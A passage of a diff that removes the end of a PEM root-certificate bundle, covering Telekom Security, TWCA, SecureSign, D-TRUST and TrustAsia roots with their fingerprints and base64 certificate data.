-JzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkGA1UE
-AwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqGSM49
-AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/O
-tdKPD/M12kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDP
-f8iAC8GXs7s1J8nCG6NCMEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6f
-MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2cA
-MGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZMo7k+5Dck2TOrbRBR2Di
-z6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdUga/sf+Rn
-27iQ7t0l
------END CERTIFICATE-----
-
-# Issuer: CN=Telekom Security TLS RSA Root 2023 O=Deutsche Telekom Security GmbH
-# Subject: CN=Telekom Security TLS RSA Root 2023 O=Deutsche Telekom Security GmbH
-# Label: "Telekom Security TLS RSA Root 2023"
-# Serial: 44676229530606711399881795178081572759
-# MD5 Fingerprint: bf:5b:eb:54:40:cd:48:71:c4:20:8d:7d:de:0a:42:f2
-# SHA1 Fingerprint: 54:d3:ac:b3:bd:57:56:f6:85:9d:ce:e5:c3:21:e2:d4:ad:83:d0:93
-# SHA256 Fingerprint: ef:c6:5c:ad:bb:59:ad:b6:ef:e8:4d:a2:23:11:b3:56:24:b7:1b:3b:1e:a0:da:8b:66:55:17:4e:c8:97:86:46
------BEGIN CERTIFICATE-----
-MIIFszCCA5ugAwIBAgIQIZxULej27HF3+k7ow3BXlzANBgkqhkiG9w0BAQwFADBj
-MQswCQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0
-eSBHbWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBSU0EgUm9vdCAy
-MDIzMB4XDTIzMDMyODEyMTY0NVoXDTQ4MDMyNzIzNTk1OVowYzELMAkGA1UEBhMC
-REUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkG
-A1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgUlNBIFJvb3QgMjAyMzCCAiIwDQYJ
-KoZIhvcNAQEBBQADggIPADCCAgoCggIBAO01oYGA88tKaVvC+1GDrib94W7zgRJ9
-cUD/h3VCKSHtgVIs3xLBGYSJwb3FKNXVS2xE1kzbB5ZKVXrKNoIENqil/Cf2SfHV
-cp6R+SPWcHu79ZvB7JPPGeplfohwoHP89v+1VmLhc2o0mD6CuKyVU/QBoCcHcqMA
-U6DksquDOFczJZSfvkgdmOGjup5czQRxUX11eKvzWarE4GC+j4NSuHUaQTXtvPM6
-Y+mpFEXX5lLRbtLevOP1Czvm4MS9Q2QTps70mDdsipWol8hHD/BeEIvnHRz+sTug
-BTNoBUGCwQMrAcjnj02r6LX2zWtEtefdi+zqJbQAIldNsLGyMcEWzv/9FIS3R/qy
-8XDe24tsNlikfLMR0cN3f1+2JeANxdKz+bi4d9s3cXFH42AYTyS2dTd4uaNir73J
-co4vzLuu2+QVUhkHM/tqty1LkCiCc/4YizWN26cEar7qwU02OxY2kTLvtkCJkUPg
-8qKrBC7m8kwOFjQgrIfBLX7JZkcXFBGk8/ehJImr2BrIoVyxo/eMbcgByU/J7MT8
-rFEz0ciD0cmfHdRHNCk+y7AO+oMLKFjlKdw/fKifybYKu6boRhYPluV75Gp6SG12
-mAWl3G0eQh5C2hrgUve1g8Aae3g1LDj1H/1Joy7SWWO/gLCMk3PLNaaZlSJhZQNg
-+y+TS/qanIA7AgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtqeX
-gj10hZv3PJ+TmpV5dVKMbUcwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS2
-p5eCPXSFm/c8n5OalXl1UoxtRzANBgkqhkiG9w0BAQwFAAOCAgEAqMxhpr51nhVQ
-pGv7qHBFfLp+sVr8WyP6Cnf4mHGCDG3gXkaqk/QeoMPhk9tLrbKmXauw1GLLXrtm
-9S3ul0A8Yute1hTWjOKWi0FpkzXmuZlrYrShF2Y0pmtjxrlO8iLpWA1WQdH6DErw
-M807u20hOq6OcrXDSvvpfeWxm4bu4uB9tPcy/SKE8YXJN3nptT+/XOR0so8RYgDd
-GGah2XsjX/GO1WfoVNpbOms2b/mBsTNHM3dA+VKq3dSDz4V4mZqTuXNnQkYRIer+
-CqkbGmVps4+uFrb2S1ayLfmlyOw7YqPta9BO1UAJpB+Y1zqlklkg5LB9zVtzaL1t
-xKITDmcZuI1CfmwMmm6gJC3VRRvcxAIU/oVbZZfKTpBQCHpCNfnqwmbU+AGuHrS+
-w6jv/naaoqYfRvaE7fzbzsQCzndILIyy7MMAo+wsVRjBfhnu4S/yrYObnqsZ38aK
-L4x35bcF7DvB7L6Gs4a8wPfc5+pbrrLMtTWGS9DiP7bY+A4A7l3j941Y/8+LN+lj
-X273CXE2whJdV/LItM3z7gLfEdxquVeEHVlNjM7IDiPCtyaaEBRx/pOyiriA8A4Q
-ntOoUAw3gi/q4Iqd4Sw5/7W0cwDk90imc6y/st53BIe0o82bNSQ3+pCTE4FCxpgm
-dTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
------END CERTIFICATE-----
-
-# Issuer: CN=TWCA CYBER Root CA O=TAIWAN-CA OU=Root CA
-# Subject: CN=TWCA CYBER Root CA O=TAIWAN-CA OU=Root CA
-# Label: "TWCA CYBER Root CA"
-# Serial: 85076849864375384482682434040119489222
-# MD5 Fingerprint: 0b:33:a0:97:52:95:d4:a9:fd:bb:db:6e:a3:55:5b:51
-# SHA1 Fingerprint: f6:b1:1c:1a:83:38:e9:7b:db:b3:a8:c8:33:24:e0:2d:9c:7f:26:66
-# SHA256 Fingerprint: 3f:63:bb:28:14:be:17:4e:c8:b6:43:9c:f0:8d:6d:56:f0:b7:c4:05:88:3a:56:48:a3:34:42:4d:6b:3e:c5:58
------BEGIN CERTIFICATE-----
-MIIFjTCCA3WgAwIBAgIQQAE0jMIAAAAAAAAAATzyxjANBgkqhkiG9w0BAQwFADBQ
-MQswCQYDVQQGEwJUVzESMBAGA1UEChMJVEFJV0FOLUNBMRAwDgYDVQQLEwdSb290
-IENBMRswGQYDVQQDExJUV0NBIENZQkVSIFJvb3QgQ0EwHhcNMjIxMTIyMDY1NDI5
-WhcNNDcxMTIyMTU1OTU5WjBQMQswCQYDVQQGEwJUVzESMBAGA1UEChMJVEFJV0FO
-LUNBMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJUV0NBIENZQkVSIFJvb3Qg
-Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDG+Moe2Qkgfh1sTs6P
-40czRJzHyWmqOlt47nDSkvgEs1JSHWdyKKHfi12VCv7qze33Kc7wb3+szT3vsxxF
-avcokPFhV8UMxKNQXd7UtcsZyoC5dc4pztKFIuwCY8xEMCDa6pFbVuYdHNWdZsc/
-34bKS1PE2Y2yHer43CdTo0fhYcx9tbD47nORxc5zb87uEB8aBs/pJ2DFTxnk684i
-JkXXYJndzk834H/nY62wuFm40AZoNWDTNq5xQwTxaWV4fPMf88oon1oglWa0zbfu
-j3ikRRjpJi+NmykosaS3Om251Bw4ckVYsV7r8Cibt4LK/c/WMw+f+5eesRycnupf
-Xtuq3VTpMCEobY5583WSjCb+3MX2w7DfRFlDo7YDKPYIMKoNM+HvnKkHIuNZW0CP
-2oi3aQiotyMuRAlZN1vH4xfyIutuOVLF3lSnmMlLIJXcRolftBL5hSmO68gnFSDA
-S9TMfAxsNAwmmyYxpjyn9tnQS6Jk/zuZQXLB4HCX8SS7K8R0IrGsayIyJNN4KsDA
-oS/xUgXJP+92ZuJF2A09rZXIx4kmyA+upwMu+8Ff+iDhcK2wZSA3M2Cw1a/XDBzC
-kHDXShi8fgGwsOsVHkQGzaRP6AzRwyAQ4VRlnrZR0Bp2a0JaWHY06rc3Ga4udfmW
-5cFZ95RXKSWNOkyrTZpB0F8mAwIDAQABo2MwYTAOBgNVHQ8BAf8EBAMCAQYwDwYD
-VR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSdhWEUfMFib5do5E83QOGt4A1WNzAd
-BgNVHQ4EFgQUnYVhFHzBYm+XaORPN0DhreANVjcwDQYJKoZIhvcNAQEMBQADggIB
-AGSPesRiDrWIzLjHhg6hShbNcAu3p4ULs3a2D6f/CIsLJc+o1IN1KriWiLb73y0t
-tGlTITVX1olNc79pj3CjYcya2x6a4CD4bLubIp1dhDGaLIrdaqHXKGnK/nZVekZn
-68xDiBaiA9a5F/gZbG0jAn/xX9AKKSM70aoK7akXJlQKTcKlTfjF/biBzysseKNn
-TKkHmvPfXvt89YnNdJdhEGoHK4Fa0o635yDRIG4kqIQnoVesqlVYL9zZyvpoBJ7t
-RCT5dEA7IzOrg1oYJkK2bVS1FmAwbLGg+LhBoF1JSdJlBTrq/p1hvIbZv97Tujqx
-f36SNI7JAG7cmL3c7IAFrQI932XtCwP39xaEBDG6k5TY8hL4iuO/Qq+n1M0RFxbI
-Qh0UqEL20kCGoE8jypZFVmAGzbdVAaYBlGX+bgUJurSkquLvWL69J1bY73NxW0Qz
-8ppy6rBePm6pUlvscG21h483XjyMnM7k8M4MZ0HMzvaAq07MTFb1wWFZk7Q+ptq4
-NxKfKjLji7gh7MMrZQzvIt6IKTtM1/r+t+FHvpw+PoP7UV31aPcuIYXcv/Fa4nzX
-xeSDwWrruoBa3lwtcHb4yOWHh8qgnaHlIhInD0Q9HWzq1MKLL295q39QpsQZp6F6
-t5b5wR9iWqJDB0BeJsas7a5wFsWqynKKTbDPAYsDP27X
------END CERTIFICATE-----
-
-# Issuer: CN=SecureSign Root CA14 O=Cybertrust Japan Co., Ltd.
-# Subject: CN=SecureSign Root CA14 O=Cybertrust Japan Co., Ltd.
-# Label: "SecureSign Root CA14"
-# Serial: 575790784512929437950770173562378038616896959179
-# MD5 Fingerprint: 71:0d:72:fa:92:19:65:5e:89:04:ac:16:33:f0:bc:d5
-# SHA1 Fingerprint: dd:50:c0:f7:79:b3:64:2e:74:a2:b8:9d:9f:d3:40:dd:bb:f0:f2:4f
-# SHA256 Fingerprint: 4b:00:9c:10:34:49:4f:9a:b5:6b:ba:3b:a1:d6:27:31:fc:4d:20:d8:95:5a:dc:ec:10:a9:25:60:72:61:e3:38
------BEGIN CERTIFICATE-----
-MIIFcjCCA1qgAwIBAgIUZNtaDCBO6Ncpd8hQJ6JaJ90t8sswDQYJKoZIhvcNAQEM
-BQAwUTELMAkGA1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28u
-LCBMdGQuMR0wGwYDVQQDExRTZWN1cmVTaWduIFJvb3QgQ0ExNDAeFw0yMDA0MDgw
-NzA2MTlaFw00NTA0MDgwNzA2MTlaMFExCzAJBgNVBAYTAkpQMSMwIQYDVQQKExpD
-eWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2VjdXJlU2lnbiBS
-b290IENBMTQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0nqh1oq/
-FjHQmNE6lPxauG4iwWL3pwon71D2LrGeaBLwbCRjOfHw3xDG3rdSINVSW0KZnvOg
-vlIfX8xnbacuUKLBl422+JX1sLrcneC+y9/3OPJH9aaakpUqYllQC6KxNedlsmGy
-6pJxaeQp8E+BgQQ8sqVb1MWoWWd7VRxJq3qdwudzTe/NCcLEVxLbAQ4jeQkHO6Lo
-/IrPj8BGJJw4J+CDnRugv3gVEOuGTgpa/d/aLIJ+7sr2KeH6caH3iGicnPCNvg9J
-kdjqOvn90Ghx2+m1K06Ckm9mH+Dw3EzsytHqunQG+bOEkJTRX45zGRBdAuVwpcAQ
-0BB8b8VYSbSwbprafZX1zNoCr7gsfXmPvkPx+SgojQlD+Ajda8iLLCSxjVIHvXib
-y8posqTdDEx5YMaZ0ZPxMBoH064iwurO8YQJzOAUbn8/ftKChazcqRZOhaBgy/ac
-18izju3Gm5h1DVXoX+WViwKkrkMpKBGk5hIwAUt1ax5mnXkvpXYvHUC0bcl9eQjs
-0Wq2XSqypWa9a4X0dFbD9ed1Uigspf9mR6XU/v6eVL9lfgHWMI+lNpyiUBzuOIAB
-SMbHdPTGrMNASRZhdCyvjG817XsYAFs2PJxQDcqSMxDxJklt33UkN4Ii1+iW/RVL
-ApY+B3KVfqs9TC7XyvDf4Fg/LS8EmjijAQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
-AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUBpOjCl4oaTeqYR3r6/wtbyPk
-86AwDQYJKoZIhvcNAQEMBQADggIBAJaAcgkGfpzMkwQWu6A6jZJOtxEaCnFxEM0E
-rX+lRVAQZk5KQaID2RFPeje5S+LGjzJmdSX7684/AykmjbgWHfYfM25I5uj4V7Ib
-ed87hwriZLoAymzvftAj63iP/2SbNDefNWWipAA9EiOWWF3KY4fGoweITedpdopT
-zfFP7ELyk+OZpDc8h7hi2/DsHzc/N19DzFGdtfCXwreFamgLRB7lUe6TzktuhsHS
-DCRZNhqfLJGP4xjblJUK7ZGqDpncllPjYYPGFrojutzdfhrGe0K22VoF3Jpf1d+4
-2kd92jjbrDnVHmtsKheMYc2xbXIBw8MgAGJoFjHVdqqGuw6qnsb58Nn4DSEC5MUo
-FlkRudlpcyqSeLiSV5sI8jrlL5WwWLdrIBRtFO8KvH7YVdiI2i/6GaX7i+B/OfVy
-K4XELKzvGUWSTLNhB9xNH27SgRNcmvMSZ4PPmz+Ln52kuaiWA3rF7iDeM9ovnhp6
-dB7h7sxaOgTdsxoEqBRjrLdHEoOabPXm6RUVkRqEGQ6UROcSjiVbgGcZ3GOTEAtl
-Lor6CZpO2oYofaphNdgOpygau1LgePhsumywbrmHXumZNTfxPWQrqaA0k89jL9WB
-365jJ6UeTo3cKXhZ+PmhIIynJkBugnLNeLLIjzwec+fBH7/PzqUqm9tEZDKgu39c
-JRNItX+S
------END CERTIFICATE-----
-
-# Issuer: CN=SecureSign Root CA15 O=Cybertrust Japan Co., Ltd.
-# Subject: CN=SecureSign Root CA15 O=Cybertrust Japan Co., Ltd.
-# Label: "SecureSign Root CA15"
-# Serial: 126083514594751269499665114766174399806381178503
-# MD5 Fingerprint: 13:30:fc:c4:62:a6:a9:de:b5:c1:68:af:b5:d2:31:47
-# SHA1 Fingerprint: cb:ba:83:c8:c1:5a:5d:f1:f9:73:6f:ca:d7:ef:28:13:06:4a:07:7d
-# SHA256 Fingerprint: e7:78:f0:f0:95:fe:84:37:29:cd:1a:00:82:17:9e:53:14:a9:c2:91:44:28:05:e1:fb:1d:8f:b6:b8:88:6c:3a
------BEGIN CERTIFICATE-----
-MIICIzCCAamgAwIBAgIUFhXHw9hJp75pDIqI7fBw+d23PocwCgYIKoZIzj0EAwMw
-UTELMAkGA1UEBhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBM
-dGQuMR0wGwYDVQQDExRTZWN1cmVTaWduIFJvb3QgQ0ExNTAeFw0yMDA0MDgwODMy
-NTZaFw00NTA0MDgwODMyNTZaMFExCzAJBgNVBAYTAkpQMSMwIQYDVQQKExpDeWJl
-cnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2VjdXJlU2lnbiBSb290
-IENBMTUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQLUHSNZDKZmbPSYAi4Io5GdCx4
-wCtELW1fHcmuS1Iggz24FG1Th2CeX2yF2wYUleDHKP+dX+Sq8bOLbe1PL0vJSpSR
-ZHX+AezB2Ot6lHhWGENfa4HL9rzatAy2KZMIaY+jQjBAMA8GA1UdEwEB/wQFMAMB
-Af8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTrQciu/NWeUUj1vYv0hyCTQSvT
-9DAKBggqhkjOPQQDAwNoADBlAjEA2S6Jfl5OpBEHvVnCB96rMjhTKkZEBhd6zlHp
-4P9mLQlO4E/0BdGF9jVg3PVys0Z9AjBEmEYagoUeYWmJSwdLZrWeqrqgHkHZAXQ6
-bkU6iYAZezKYVWOr62Nuk22rGwlgMU4=
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST BR Root CA 2 2023 O=D-Trust GmbH
-# Subject: CN=D-TRUST BR Root CA 2 2023 O=D-Trust GmbH
-# Label: "D-TRUST BR Root CA 2 2023"
-# Serial: 153168538924886464690566649552453098598
-# MD5 Fingerprint: e1:09:ed:d3:60:d4:56:1b:47:1f:b7:0c:5f:1b:5f:85
-# SHA1 Fingerprint: 2d:b0:70:ee:71:94:af:69:68:17:db:79:ce:58:9f:a0:6b:96:f7:87
-# SHA256 Fingerprint: 05:52:e6:f8:3f:df:65:e8:fa:96:70:e6:66:df:28:a4:e2:13:40:b5:10:cb:e5:25:66:f9:7c:4f:b9:4b:2b:d1
------BEGIN CERTIFICATE-----
-MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBI
-MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE
-LVRSVVNUIEJSIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUw
-OTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi
-MCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN
-AQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCTcfKr
-i3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNE
-gXtRr90zsWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8
-k12b9py0i4a6Ibn08OhZWiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCT
-Rphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl
-2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LULQyReS2tNZ9/WtT5PeB+U
-cSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIvx9gvdhFP
-/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bS
-uREVMweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+
-0bpwHJwh5Q8xaRfX/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4N
-DfTisl01gLmB1IRpkQLLddCNxbU9CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+
-XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZ5Dw1t61
-GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRCMEAwPqA8oDqG
-OGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y
-XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tI
-FoE9c+CeJyrrd6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67n
-riv6uvw8l5VAk1/DLQOj7aRvU9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTR
-VFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4nj8+AybmTNudX0KEPUUDAxxZiMrc
-LmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdijYQ6qgYF/6FKC0ULn
-4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff/vtD
-hQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsG
-koHU6XCPpz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46
-ls/pdu4D58JDUjxqgejBWoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aS
-Ecr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/5usWDiJFAbzdNpQ0qTUmiteXue4Icr80
-knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jtn/mtd+ArY0+ew+43u3gJ
-hJ65bvspmZDogNOfJA==
------END CERTIFICATE-----
-
-# Issuer: CN=TrustAsia TLS ECC Root CA O=TrustAsia Technologies, Inc.
-# Subject: CN=TrustAsia TLS ECC Root CA O=TrustAsia Technologies, Inc.
-# Label: "TrustAsia TLS ECC Root CA"
-# Serial: 310892014698942880364840003424242768478804666567
-# MD5 Fingerprint: 09:48:04:77:d2:fc:65:93:71:66:b1:11:95:4f:06:8c
-# SHA1 Fingerprint: b5:ec:39:f3:a1:66:37:ae:c3:05:94:57:e2:be:11:be:b7:a1:7f:36
-# SHA256 Fingerprint: c0:07:6b:9e:f0:53:1f:b1:a6:56:d6:7c:4e:be:97:cd:5d:ba:a4:1e:f4:45:98:ac:c2:48:98:78:c9:2d:87:11
------BEGIN CERTIFICATE-----
-MIICMTCCAbegAwIBAgIUNnThTXxlE8msg1UloD5Sfi9QaMcwCgYIKoZIzj0EAwMw
-WDELMAkGA1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs
-IEluYy4xIjAgBgNVBAMTGVRydXN0QXNpYSBUTFMgRUNDIFJvb3QgQ0EwHhcNMjQw
-NTE1MDU0MTU2WhcNNDQwNTE1MDU0MTU1WjBYMQswCQYDVQQGEwJDTjElMCMGA1UE
-ChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAGA1UEAxMZVHJ1c3RB
-c2lhIFRMUyBFQ0MgUm9vdCBDQTB2MBAGByqGSM49AgEGBSuBBAAiA2IABLh/pVs/
-AT598IhtrimY4ZtcU5nb9wj/1WrgjstEpvDBjL1P1M7UiFPoXlfXTr4sP/MSpwDp
-guMqWzJ8S5sUKZ74LYO1644xST0mYekdcouJtgq7nDM1D9rs3qlKH8kzsaNCMEAw
-DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQULIVTu7FDzTLqnqOH/qKYqKaT6RAw
-DgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2gAMGUCMFRH18MtYYZI9HlaVQ01
-L18N9mdsd0AaRuf4aFtOJx24mH1/k78ITcTaRTChD15KeAIxAKORh/IRM4PDwYqR
-OkwrULG9IpRdNYlzg8WbGf60oenUoWa2AaU2+dhoYSi3dOGiMQ==
------END CERTIFICATE-----
-
-# Issuer: CN=TrustAsia TLS RSA Root CA O=TrustAsia Technologies, Inc.
-# Subject: CN=TrustAsia TLS RSA Root CA O=TrustAsia Technologies, Inc.
-# Label: "TrustAsia TLS RSA Root CA"
-# Serial: 160405846464868906657516898462547310235378010780
-# MD5 Fingerprint: 3b:9e:c3:86:0f:34:3c:6b:c5:46:c4:8e:1d:e7:19:12
-# SHA1 Fingerprint: a5:46:50:c5:62:ea:95:9a:1a:a7:04:6f:17:58:c7:29:53:3d:03:fa
-# SHA256 Fingerprint: 06:c0:8d:7d:af:d8:76:97:1e:b1:12:4f:e6:7f:84:7e:c0:c7:a1:58:d3:ea:53:cb:e9:40:e2:ea:97:91:f4:c3
------BEGIN CERTIFICATE-----
-MIIFgDCCA2igAwIBAgIUHBjYz+VTPyI1RlNUJDxsR9FcSpwwDQYJKoZIhvcNAQEM
-BQAwWDELMAkGA1UEBhMCQ04xJTAjBgNVBAoTHFRydXN0QXNpYSBUZWNobm9sb2dp
-ZXMsIEluYy4xIjAgBgNVBAMTGVRydXN0QXNpYSBUTFMgUlNBIFJvb3QgQ0EwHhcN
-MjQwNTE1MDU0MTU3WhcNNDQwNTE1MDU0MTU2WjBYMQswCQYDVQQGEwJDTjElMCMG
-A1UEChMcVHJ1c3RBc2lhIFRlY2hub2xvZ2llcywgSW5jLjEiMCAGA1UEAxMZVHJ1
-c3RBc2lhIFRMUyBSU0EgUm9vdCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCC
-AgoCggIBAMMWuBtqpERz5dZO9LnPWwvB0ZqB9WOwj0PBuwhaGnrhB3YmH49pVr7+
-NmDQDIPNlOrnxS1cLwUWAp4KqC/lYCZUlviYQB2srp10Zy9U+5RjmOMmSoPGlbYJ
-Q1DNDX3eRA5gEk9bNb2/mThtfWza4mhzH/kxpRkQcwUqwzIZheo0qt1CHjCNP561
-HmHVb70AcnKtEj+qpklz8oYVlQwQX1Fkzv93uMltrOXVmPGZLmzjyUT5tUMnCE32
-ft5EebuyjBza00tsLtbDeLdM1aTk2tyKjg7/D8OmYCYozza/+lcK7Fs/6TAWe8Tb
-xNRkoDD75f0dcZLdKY9BWN4ArTr9PXwaqLEX8E40eFgl1oUh63kd0Nyrz2I8sMeX
-i9bQn9P+PN7F4/w6g3CEIR0JwqH8uyghZVNgepBtljhb//HXeltt08lwSUq6HTrQ
-UNoyIBnkiz/r1RYmNzz7dZ6wB3C4FGB33PYPXFIKvF1tjVEK2sUYyJtt3LCDs3+j
-TnhMmCWr8n4uIF6CFabW2I+s5c0yhsj55NqJ4js+k8UTav/H9xj8Z7XvGCxUq0DT
-bE3txci3OE9kxJRMT6DNrqXGJyV1J23G2pyOsAWZ1SgRxSHUuPzHlqtKZFlhaxP8
-S8ySpg+kUb8OWJDZgoM5pl+z+m6Ss80zDoWo8SnTq1mt1tve1CuBAgMBAAGjQjBA
-MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFLgHkXlcBvRG/XtZylomkadFK/hT
-MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQwFAAOCAgEAIZtqBSBdGBanEqT3
-Rz/NyjuujsCCztxIJXgXbODgcMTWltnZ9r96nBO7U5WS/8+S4PPFJzVXqDuiGev4
-iqME3mmL5Dw8veWv0BIb5Ylrc5tvJQJLkIKvQMKtuppgJFqBTQUYo+IzeXoLH5Pt
-7DlK9RME7I10nYEKqG/odv6LTytpEoYKNDbdgptvT+Bz3Ul/KD7JO6NXBNiT2Twp
-2xIQaOHEibgGIOcberyxk2GaGUARtWqFVwHxtlotJnMnlvm5P1vQiJ3koP26TpUJ
-g3933FEFlJ0gcXax7PqJtZwuhfG5WyRasQmr2soaB82G39tp27RIGAAtvKLEiUUj
-pQ7hRGU+isFqMB3iYPg6qocJQrmBktwliJiJ8Xw18WLK7nn4GS/+X/jbh87qqA8M
-pugLoDzga5SYnH+tBuYc6kIQX+ImFTw3OffXvO645e8D7r0i+yiGNFjEWn9hongP
-XvPKnbwbPKfILfanIhHKA9jnZwqKDss1jjQ52MjqjZ9k4DewbNfFj8GQYSbbJIwe
-SsCI3zWQzj8C9GRh3sfIB5XeMhg6j6JCQCTl1jNdfK7vsU1P1FeQNWrcrgSXSYk0
-ly4wBOeY99sLAZDBHwo/+ML+TvrbmnNzFrwFuHnYWa8G5z9nODmxfKuU4CkUpijy
-323imttUQ/hHWKNddBWcwauwxzQ=
------END CERTIFICATE-----
-
-# Issuer: CN=D-TRUST EV Root CA 2 2023 O=D-Trust GmbH
-# Subject: CN=D-TRUST EV Root CA 2 2023 O=D-Trust GmbH
-# Label: "D-TRUST EV Root CA 2 2023"
-# Serial: 139766439402180512324132425437959641711
-# MD5 Fingerprint: 96:b4:78:09:f0:09:cb:77:eb:bb:1b:4d:6f:36:bc:b6
-# SHA1 Fingerprint: a5:5b:d8:47:6c:8f:19:f7:4c:f4:6d:6b:b6:c2:79:82:22:df:54:8b
-# SHA256 Fingerprint: 8e:82:21:b2:e7:d4:00:78:36:a1:67:2f:0d:cc:29:9c:33:bc:07:d3:16:f1:32:fa:1a:20:6d:58:71:50:f1:ce
------BEGIN CERTIFICATE-----
-MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBI
-MQswCQYDVQQGEwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlE
-LVRSVVNUIEVWIFJvb3QgQ0EgMiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUw
-OTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTATBgNVBAoTDEQtVHJ1c3QgR21iSDEi
-MCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCCAiIwDQYJKoZIhvcN
-AQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1sJkK
-F8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE
-7CUXFId/MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFe
-EMbsh2aJgWi6zCudR3Mfvc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6
